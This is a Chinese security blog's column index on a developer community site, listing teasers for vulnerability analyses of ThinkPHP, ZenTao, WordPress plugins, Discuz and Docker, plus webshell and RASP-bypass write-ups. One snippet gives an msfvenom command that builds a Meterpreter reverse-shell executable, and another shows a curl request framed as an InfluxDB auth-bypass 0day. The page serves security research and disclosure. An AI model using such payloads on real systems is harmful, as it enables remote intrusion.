黑白安全-腾讯云开发者社区

开发者社区

文档建议反馈控制台

最新优惠活动

文章/答案/技术大牛

发布

黑白安全

黑白网成立于2014年，基于丰富的技术和经验，提供各类技术性动态。官网:heibai.org.cn

专栏成员

1299

文章

2268470

阅读量

251

订阅数

Thinkphp漏洞复现总结

网络安全安全 thinkphp php sql

Thinkphp简介ThinkPHP是为了简化企业级应用开发和敏捷WEB应用开发而诞生的，是一个快速、兼容而且简单的轻量级国产PHP开发框架，诞生于2006年初，原名FCS，2007年元旦正式更名为ThinkPHP，遵循Apache2开源协议发布，从Struts结构移植过来并做了改进和完善，同时也借鉴了国外很多优秀的框架和模式，使用面向对象的开发结构和MVC

2022-04-26

2.7K0

网络安全安全 php 编程算法网站

登陆管理后台的恶意攻击者可以通过fopen/fread/fwrite方法读取或上传任意文件，成功利用此漏洞可以读取目标系统敏感文件或获得系统管理权限。1、前言百度云安全团队监测到国产开源项目管理软件禅道官方发布了文件上传漏洞的风险通告，该漏洞编号为CNVD-C-2020-121325，漏洞影响禅道<=12.4.2版本。登陆管理后台的恶意攻击者可以通过f

2022-04-26

1.3K0

WordPress插件漏洞分析：WPDiscuz任意文件上传漏洞

网络安全安全 php wordpress 网站建设

写在前面的话就在不久之前，Wordfence的威胁情报团队在一款名叫wpDiscuz的Wordpress评论插件中发现了一个高危漏洞，而这款插件目前已有超过80000个网站在使用了。这个漏洞将允许未经认证的攻击者在目标站点中上传任意文件，其中也包括PHP文件，该漏洞甚至还允许攻击者在目标站点的服务器中实现远程代码执行。漏洞简述漏洞描述：任意文件上传受影响插件

2022-04-26

8660

针对宝塔的RASP及其disable_functions的绕过

0x01 实验环境开启宝塔自带的防跨站攻击。安装并开启堡塔PHP安全防护。安装并开启堡塔防提权。0x02 概述无聊的时候和宝塔开发聊天，听他说了宝塔在开发一个基于底层的rasp，拦截所有基于www权限的命令执行。最近总算上线了，我稍微测试了一下，效果确实不错：不管是通过php来调用system，会拦截，你是root权限的情况下，通过su www都会被一并拦截

2022-04-26

1K0

从PbootCMS审计到某狗绕过

企业编程算法腾讯云测试服务 php

这是酒仙桥六号部队的第 26 篇文章。全文共计2033个字，预计阅读时长8分钟。之前审计发现的PbootCMS2.0.3前台RCE，看了最近的版本更新漏洞被修复了，就放出之前的POC顺便看看能不能绕过补丁。项目地址：https://github.com/hnaoyun/PbootCMS PbootCMS自己实现了一个模板标签功能，在解析{pboot:i

2022-04-26

1.2K0

都0202年了老嗨还在用的 - 各种姿势jsp webshell

shell 网站 jar jsp php

最近，我的朋友“老嗨”，他参加了一个某云举办的号称可能史上最强的使用了AI技术的WebShell检测系统挑战赛...因为我没什么时间去搞这个，所以，我把我珍藏多年，姿势比较多的jsp webshell发给了老嗨，老嗨跟我说，全部bypass了，但最后的结果非常惨烈，有被抢了的，有的因为没适配windows导致降级的，也有因为裁判机使用了openjdk亦或者他根本不会java瞎配的classpath导致不能运行的，惨惨。

2022-04-26

6K0

ShellReset RAT 利用基于恶意宏的 word 文档传播

.net php api 编程算法 5g

正如我们在以前的博客中提到的那样，网络犯罪分子通常会将其攻击与时事联系起来。因此，不足为奇的是，我们注意到其中的另一个，其中一个特别使用伦敦的技术事件作为诱饵。

2022-04-26

1.2K0

对某灰色产业cms审计|云购CMS

php 企业网络安全安全

嘿嘿嘿，这是xDay团队的第一篇反黑灰产业的代码审计文章。这次给大家看的是一个曾经风靡一时的一元云购的一套程序。我就纳闷儿了...这玩意儿现在还在骗人？？于是乎就开始着手挖几个洞。

2022-04-26

2.9K0

TP6.0反序列化利用链挖掘思路总结

文件存储 java thinkphp php 缓存

最近CTF中TP反序列化考的比较频繁，从前段时间的N1CTF到最近的安洵杯都利用了thinkphp反序列化，疯狂填坑，审计挖掘了下TP5、TP6反序列化中的利用链，本篇主要总结下TP6利用链的挖掘思路。小白文章，大佬们请略过。。。

2022-04-26

1.7K0

thinkphp v6.0.x 反序列化利用链挖掘

文件存储 composer java 编程算法 php

0x00 前言上一篇分析了tp 5.2.x的反序列化利用链挖掘，顺着思路，把tp6.0.x也挖了。有类似的地方，也有需要重新挖掘的地方。 0x01 环境准备采用composer安装6.0.*-dev版本composer create-project topthink/think=6.0.x-dev v6.0 0x02 利用链分析背景回顾拿到v6.0.x版本，

2022-04-26

4630

禅道全版本rce漏洞分析

网络安全安全编程算法 api php

禅道项目管理软件是一款国产的，基于LGPL协议，开源免费的项目管理软件，它集产品管理、项目管理、测试管理于一体，同时还包含了事务管理、组织管理等诸多功能，是中小型企业项目管理的首选，基于自主的PHP开发框架──ZenTaoPHP而成，第三方开发者或企业可非常方便的开发插件或者进行定制。厂商官网：https://www.zentao.net/ 而此次发现的漏洞正是ZenTaoPHP框架中的通用代码所造成的的，因此禅道几乎所有的项目都受此漏洞影响。

2022-04-26

12.6K2

基于URL跳转与XSS组合利用的钓鱼分析（以QQ空间某恶意链接为例）

php https 网络安全安全 html

写在前面本案例写于6月30日（HW收尾阶段），当时本想着发出来。结果忙着忙着就忘了… 今天看到先知社区上有写一篇也是关于QQ空间恶意跳转，感觉他写的这块和我碰上的有些差异，故拿出来说一说~分析该恶意链

2022-04-26

6280

腾讯QQ快速登录漏洞

安全 https 网络安全 php

前言一婊哥说他把这洞提交给腾讯，腾讯说没有危害还说会修复，修复就修复还不给 Rank (婊哥还说腾讯就想白P)正文今天我想着到来写点日记。。毕竟总是忘了这忘了那的。然后打开我亲爱的有道云.点了下QQ快速登录。。发现。。调用失败？我有点气急败坏，毕竟我这个人太懒了，基本上很多应用都是直接QQ快速登录…然后一般也不会重新设置密码.所以我没登陆成功我的有道云…于是

2022-04-26

5.8K0

Metasploit笔记

windows php tcp/ip

msfvenom -p windows/Meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o 1987.exe

2022-04-26

4590

漏洞分析 | Discuz! ML V3.X 代码注入漏洞

php 安全 discuz!http 网络安全

Discuz!ML V3.X 代码注入分析代码来源：http://discuz.ml/download作者：Web安全组-CoolCat漏洞定位在PoC的代码中填充'.1.'使得代码出错，定位出错代码文件：代码报错根据报错跟踪到source/module/portal/portal_index.php第32行portal_index.php

2022-04-26

1.3K0

CVE-2019-13139 - Docker构建代码执行

git github 开源 php linux

在今年早些时候，我在2019年的部队进行了一些研究，其中我检查了构建系统以及git如何导致安全问题，我在Docker中发现了一个与git相关的漏洞。此漏洞已被分配为CVE-2019-13139，并在Docker引擎更新18.09.4中进行了修补。问题是相对直接的命令注入，然而，它可能使它更有趣的是它发生在Go代码库中。通常假设Go os/exec包没有遭受命

2022-04-26

1K0

Zblog对接QQ机器人实现文章搜索与最新文章

机器人 api php 企业网站建设

z-blog和z-blogphp，既是博客程序，也是cms建站系统。已走过十余年风雨的她们，有着强大的可定制性、丰富的插件接口和独立的主题模板，致力于给国内用户提供优秀的博客写作体验。黑白网本身用的也

2022-04-26

3780

influxdb认证绕过0day

C++url -G "http://xxx:8086/Debug/requests"

2022-04-25

4400

滥用jQuery进行CSS驱动的定时攻击

jquery css php 网站安全

Arthur Saftnes去年做了一些关于使用jQuery CSS选择器进行计时攻击的非常棒的研究，事实上它可能是去年我最喜欢的博客文章。

2022-04-25

1.1K0

Google Hacking 教你找女神 google hack 谷歌黑客

毫无疑问，黑客们都喜欢用高贵冷艳的 Google，但是度娘也不是一无是处。比如，度娘对中文的智能语义化处理就比 Google 强多了。另外，度娘的贴吧、网盘可都是好资源，藏着巨大的秘密。

2022-04-24

7100

点击加载更多

社区活动

【纪录片】中国数据库前世今生

穿越半个世纪，探寻中国数据库50年的发展历程

Python精品学习库

代码在线跑，知识轻松学

博客搬家 | 分享价值百万资源包

自行/邀约他人一键搬运博客，速成社区影响力并领取好礼

技术创作特训营·精选知识专栏

往期视频·千货材料·成员作品最新动态